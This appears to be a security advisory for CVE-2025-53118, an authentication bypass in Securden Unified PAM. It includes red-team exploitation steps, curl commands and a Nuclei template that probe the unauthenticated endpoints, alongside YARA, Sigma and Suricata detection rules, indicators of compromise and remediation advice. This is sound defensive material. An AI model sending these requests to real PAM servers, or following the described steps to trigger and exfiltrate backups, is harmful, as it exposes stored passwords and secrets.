CVE-2025-53118

Executive Summary

CVE-2025-53118 is a critical authentication bypass vulnerability in Securden Unified PAM, allowing an unauthenticated attacker to access and control administrator backup functions. This leads to the compromise of stored passwords, secrets, and application session tokens. The vulnerability has a CVSS score of 9.8, indicating a severe impact on confidentiality, integrity, and availability. The provided Nuclei template confirms the exploitability via three HTTP requests that bypass authentication checks. No official patch has been released, but upgrading to the latest version is recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Immediate action required to mitigate exposure.

Deep Dive & Mechanics

The vulnerability resides in the backup functionality of Securden Unified PAM. The application fails to enforce proper authentication checks on endpoints such as /thirdparty-access, /get_csrf_token, and /get_date_picker_format. An unauthenticated attacker can send crafted HTTP requests to these endpoints, bypassing authentication and gaining access to administrative backup functions. This allows the attacker to extract sensitive data, including passwords, secrets, and session tokens, stored in the PAM system. The attack does not require any privileges or user interaction, making it highly exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely lacks authentication middleware on backup-related endpoints. For example:

@app.route('/get_csrf_token')
def get_csrf_token():
    # No authentication check
    return jsonify({'token': generate_token()})

Patched Code (Conceptual): The patched code should enforce authentication before processing requests:

@app.route('/get_csrf_token')
@login_required
def get_csrf_token():
    return jsonify({'token': generate_token()})

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a target running Securden Unified PAM.
2. Use the provided Nuclei template or craft manual HTTP requests:
   • Send a GET request to /thirdparty-access to verify the endpoint exists (expects 302 redirect).
   • Send a GET request to /get_csrf_token to obtain a CSRF token (expects 200 and JSON with 'token').
   • Send a GET request to /get_date_picker_format to confirm access (expects 200 and JSON with 'current_date').
3. Once access is confirmed, use the obtained CSRF token to perform administrative actions, such as triggering a backup and exfiltrating the backup file containing secrets.

Lab Setup:

• Deploy a vulnerable instance of Securden Unified PAM (version prior to fix).
• Use a tool like Burp Suite or curl to replicate the requests.
• Example curl commands:

curl -v http://target/thirdparty-access
curl -v http://target/get_csrf_token
curl -v http://target/get_date_picker_format

Blue Team

Detection and Response:

• Monitor for anomalous HTTP requests to /thirdparty-access, /get_csrf_token, and /get_date_picker_format from unauthenticated sources.
• Implement Web Application Firewall (WAF) rules to block access to these endpoints without valid session tokens.
• Enable logging and alerting on backup operations, especially those initiated by unknown IPs.
• Conduct regular vulnerability scans to identify unpatched instances.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /thirdparty-access, /get_csrf_token, /get_date_picker_format without authentication headers.
  • Unusual outbound data transfers from the PAM server, especially backup files.
• File IOCs:
  • Unexpected backup files (e.g., .zip, .tar.gz) in non-standard directories.
• Log IOCs:
  • Log entries showing successful responses to the above endpoints from unauthenticated users.
  • Logs indicating backup operations triggered by unknown or unauthorized users.

Detection Engineering

YARA Rule

rule CVE_2025_53118_Backup_Access {
    meta:
        description = "Detects access to Securden Unified PAM backup endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53118"
    strings:
        $endpoint1 = "/thirdparty-access"
        $endpoint2 = "/get_csrf_token"
        $endpoint3 = "/get_date_picker_format"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-53118 Authentication Bypass Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2025-53118 by accessing backup endpoints without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/thirdparty-access'
            - '/get_csrf_token'
            - '/get_date_picker_format'
    condition: selection
falsepositives:
    - Legitimate administrative access from authorized IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53118 Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/thirdparty-access"; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-53118 Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/get_csrf_token"; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-53118 Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/get_date_picker_format"; http_uri; sid:1000003; rev:1;)

Nuclei Template

id: CVE-2025-53118

info:
  name: Securden Unified PAM - Authentication Bypass
  author: DhiyaneshDk,pussycat0x,iamnoooob,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability exists which allows an unauthenticated attacker to control administrator backup functions, leading to compromise of passwords, secrets, and application session tokens stored by the Unified PAM.
  impact: |
    Unauthenticated attackers can control administrator backup functions to compromise passwords, secrets, and application session tokens stored in Unified PAM.
  remediation: |
    Upgrade Securden Unified PAM to the latest version that implements proper authentication checks on backup functions.
  reference:
    - https://www.rapid7.com/blog/post/securden-unified-pam-multiple-critical-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53118
  metadata:
    verified: true
    max-request: 3
    fofa-query: (icon_hash="1798893256" || icon_hash="-766529773")
  tags: cve,cve2025,securden,pam,auth-bypass,vuln,vkev

flow: http(1) & http(2) & http(3)

http:
  - raw:
      - |
        GET /thirdparty-access HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        internal: true

  - raw:
      - |
        GET /get_csrf_token HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'token')
          - contains(content_type, 'application/json')
        condition: and
        internal: true

  - raw:
      - |
        GET /get_date_picker_format HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'current_date')
          - contains(content_type, 'application/json')
        condition: and
# digest: 4a0a00473045022100b0887a61d2b767aad87d01cc5f8e414cd1119ca508024e3f321f724e1e5af0fa02204e160ee9ae1eb2cd52ff42b5a5f4f6fde6e0e2193277e940bffd8647b94fd6f6:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

• Immediate Actions:
  • Upgrade Securden Unified PAM to the latest version that includes proper authentication checks.
  • If upgrade is not possible, restrict network access to the PAM interface using firewalls or VPNs.
  • Implement WAF rules to block unauthenticated requests to the vulnerable endpoints.
• Long-term Measures:
  • Conduct a security audit of all PAM endpoints to ensure authentication is enforced.
  • Implement multi-factor authentication (MFA) for all administrative functions.
  • Regularly review and rotate secrets stored in the PAM.
• Detection:
  • Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
  • Enable detailed logging and alerting on backup operations.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 79FF99A49C4D9248021E2C40] */}